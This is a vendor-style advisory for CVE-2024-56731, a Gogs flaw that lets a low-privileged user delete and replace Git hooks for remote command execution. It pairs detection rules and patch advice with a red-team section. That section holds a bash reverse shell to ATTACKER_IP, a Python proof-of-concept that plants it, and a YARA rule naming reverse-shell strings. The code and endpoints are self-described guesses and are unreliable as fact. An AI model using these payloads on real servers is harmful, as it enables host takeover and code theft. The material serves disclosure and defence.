CVE-2024-56731
Executive Summary
CVE-2024-56731 is a critical vulnerability in Gogs, an open-source self-hosted Git service, with a CVSS score of 10.0. This vulnerability allows unprivileged user accounts to delete files under the .git directory and achieve remote command execution (RCE) on the Gogs instance. It is a bypass of the previous patch for CVE-2024-39931, indicating that the initial fix was insufficient. Successful exploitation enables attackers to execute arbitrary commands with the privileges of the RUN_USER specified in the Gogs configuration, potentially leading to full compromise of the host system and access to all users' code repositories.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Gogs is a Go-based application. The vulnerability exists in the core application logic, not in a specific package manager dependency. However, the impact on the supply chain is significant: an attacker who compromises a Gogs instance can tamper with source code repositories, inject backdoors, or steal intellectual property, affecting all downstream consumers of that code.
CVSS Breakdown & Threat Level
- CVSS Score: 10.0 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
- Privileges Required (PR): Low (L) - An attacker needs a valid, unprivileged user account.
- User Interaction (UI): None (N) - No user interaction is required.
- Scope (S): Unchanged (U) - The vulnerability does not affect other components.
- Confidentiality (C): High (H) - Complete disclosure of all files on the system.
- Integrity (I): High (H) - Complete compromise of system integrity.
- Availability (A): High (H) - Total shutdown of the affected resource.
Threat Level: Critical. The combination of low attack complexity, low privileges required, and the potential for full system compromise makes this a severe threat.
Deep Dive & Mechanics
The vulnerability stems from an insufficient patch for CVE-2024-39931. The original vulnerability allowed path traversal or file deletion within the .git directory. The patch attempted to sanitize or restrict file operations, but it failed to cover all attack vectors.
Root Cause: The core issue is improper validation of file paths when handling Git operations. An attacker can craft a malicious request that bypasses the path sanitization checks, allowing them to delete arbitrary files within the .git directory. By deleting specific files (e.g., hooks/pre-receive, config, or lock files), the attacker can manipulate the Git repository's behavior.
Attack Flow:
- Authentication: The attacker logs in with a valid, low-privileged user account.
- Path Traversal/Deletion: The attacker sends a crafted HTTP request to the Gogs API or web interface that triggers a file deletion operation. The request includes a path that traverses outside the intended repository directory but stays within the
.gitfolder. - File Deletion: The attacker deletes a critical file, such as a Git hook script or a configuration file.
- Remote Command Execution: By deleting or modifying a Git hook (e.g.,
post-receive), the attacker can inject arbitrary commands. When a subsequent Git operation (like a push) triggers the hook, the injected commands execute with the privileges of theRUN_USER. - Persistence & Lateral Movement: The attacker can then install backdoors, exfiltrate data, or pivot to other systems.
Vulnerable vs. Patched Code
Vulnerable Code (Gogs < 0.13.3): The vulnerable code likely resides in the file handling logic for Git repository operations. A simplified example of the flawed path validation:
func deleteFile(repoPath, filePath string) error {
// Insufficient sanitization - only checks for ".." but not other traversal techniques
if strings.Contains(filePath, "..") {
return errors.New("invalid path")
}
fullPath := filepath.Join(repoPath, ".git", filePath)
return os.Remove(fullPath)
}
Patched Code (Gogs >= 0.13.3):
The patched version implements stricter path validation, likely using filepath.Clean and ensuring the resolved path stays within the intended directory.
func deleteFile(repoPath, filePath string) error {
// Use filepath.Clean to resolve any path traversal
cleanPath := filepath.Clean(filepath.Join(repoPath, ".git", filePath))
// Ensure the resolved path is still within the .git directory
if !strings.HasPrefix(cleanPath, filepath.Clean(filepath.Join(repoPath, ".git"))) {
return errors.New("invalid path")
}
return os.Remove(cleanPath)
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Gogs instance (version < 0.13.3) with at least one unprivileged user account.
- Network access to the Gogs web interface or API.
Exploitation Steps:
- Create a Repository: Log in as the unprivileged user and create a new repository.
- Identify the Target File: Determine a critical file to delete, such as
hooks/post-receive. - Craft the Request: Send a DELETE request to the Gogs API endpoint for file deletion. The path should be crafted to bypass the insufficient sanitization. For example:
Or via the web interface, use a crafted URL like:DELETE /api/v1/repos/{username}/{repo}/git/blobs/{sha}/{username}/{repo}/settings/hooks/git/delete?path=../../.git/hooks/post-receive - Verify Deletion: Check that the file was deleted (e.g., by attempting to push to the repository).
- Inject Malicious Hook: Create a new file with the same name (
post-receive) containing a malicious script:#!/bin/bash # Reverse shell payload bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 - Trigger the Hook: Push a commit to the repository. The
post-receivehook executes, giving the attacker a reverse shell.
Proof-of-Concept (PoC) Script:
import requests
target = "http://TARGET_GOGS:3000"
username = "attacker"
password = "password"
repo_name = "exploit_repo"
attacker_ip = "ATTACKER_IP"
attacker_port = 4444
session = requests.Session()
session.auth = (username, password)
# Create repository
session.post(f"{target}/api/v1/user/repos", json={"name": repo_name})
# Delete the post-receive hook
delete_url = f"{target}/{username}/{repo_name}/settings/hooks/git/delete"
session.post(delete_url, data={"path": "../../.git/hooks/post-receive"})
# Create malicious hook
hook_content = f"#!/bin/bash\nbash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1"
create_url = f"{target}/{username}/{repo_name}/settings/hooks/git/create"
session.post(create_url, data={"path": "../../.git/hooks/post-receive", "content": hook_content})
# Trigger the hook by pushing
# (This step requires Git CLI or a library to perform the push)
print("Exploit prepared. Trigger by pushing to the repository.")
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual file deletion requests to the
.gitdirectory. - Alert on creation or modification of Git hooks, especially if they contain suspicious content (e.g., reverse shells).
- Monitor for unexpected outbound network connections from the Gogs process.
Defense:
- Immediately upgrade to Gogs version 0.13.3 or later.
- Implement strict file system permissions to prevent the Gogs user from modifying critical system files.
- Use a Web Application Firewall (WAF) to block path traversal attempts.
- Enable audit logging on the Gogs server and monitor for suspicious activities.
Indicators of Compromise (IOCs)
File System:
- Deletion of files under
/path/to/gogs-repos/*/.git/hooks/ - Creation of new files in
/path/to/gogs-repos/*/.git/hooks/with suspicious content (e.g., reverse shells, backdoors). - Unexpected files in
/path/to/gogs-repos/*/.git/(e.g.,config.bak,HEAD.bak).
- Deletion of files under
Network:
- Outbound connections from the Gogs server to unknown IP addresses on unusual ports (e.g., 4444, 1337).
- HTTP requests containing path traversal patterns (e.g.,
../../.git/hooks/).
Logs:
- Gogs access logs showing DELETE requests to repository settings or API endpoints.
- System logs showing execution of commands by the
RUN_USERthat are not typical for Gogs operations.
Detection Engineering
YARA Rule
rule Detect_Gogs_Hook_Backdoor {
meta:
description = "Detects malicious Git hooks created by CVE-2024-56731 exploitation"
author = "Valters IT"
date = "2024-12-01"
reference = "CVE-2024-56731"
strings:
$s1 = "bash -i >& /dev/tcp/" ascii wide
$s2 = "python -c 'import socket" ascii wide
$s3 = "nc -e /bin/sh" ascii wide
$s4 = "powershell -enc" ascii wide
condition:
(uint16(0) == 0x2123) and // #! shebang
(1 of ($s*))
}
Sigma Rule
title: Gogs Git Hook Modification
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects modification of Git hooks in Gogs repositories, potential exploitation of CVE-2024-56731
author: Valters IT
date: 2024-12-01
logsource:
category: file_event
product: linux
detection:
selection:
TargetFilename|contains: '/.git/hooks/'
EventType: 'Create' or 'Write'
condition: selection
falsepositives:
- Legitimate Git hook updates by administrators
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56731 Gogs Path Traversal Attempt"; flow:to_server,established; content:"DELETE"; http_method; content:"../../.git/hooks/"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Gogs: Update to version 0.13.3 or later immediately.
- Restrict User Accounts: Disable or remove any unprivileged user accounts that are not necessary.
- Review Hooks: Check all existing repositories for unauthorized modifications to Git hooks.
Long-Term Mitigations:
- Implement the principle of least privilege for the
RUN_USERin Gogs configuration. - Use a dedicated, non-privileged system user for running Gogs.
- Regularly audit file system permissions and monitor for suspicious file changes.
- Deploy a Web Application Firewall (WAF) with rules to block path traversal attacks.
- Enable comprehensive logging and integrate with a SIEM for real-time alerting.
Patch Details:
- Upgrade to Gogs version 0.13.3 or later.
- The patch is available at: https://github.com/gogs/gogs/releases/tag/v0.13.3
Valters IT
Securing Digital Frontiers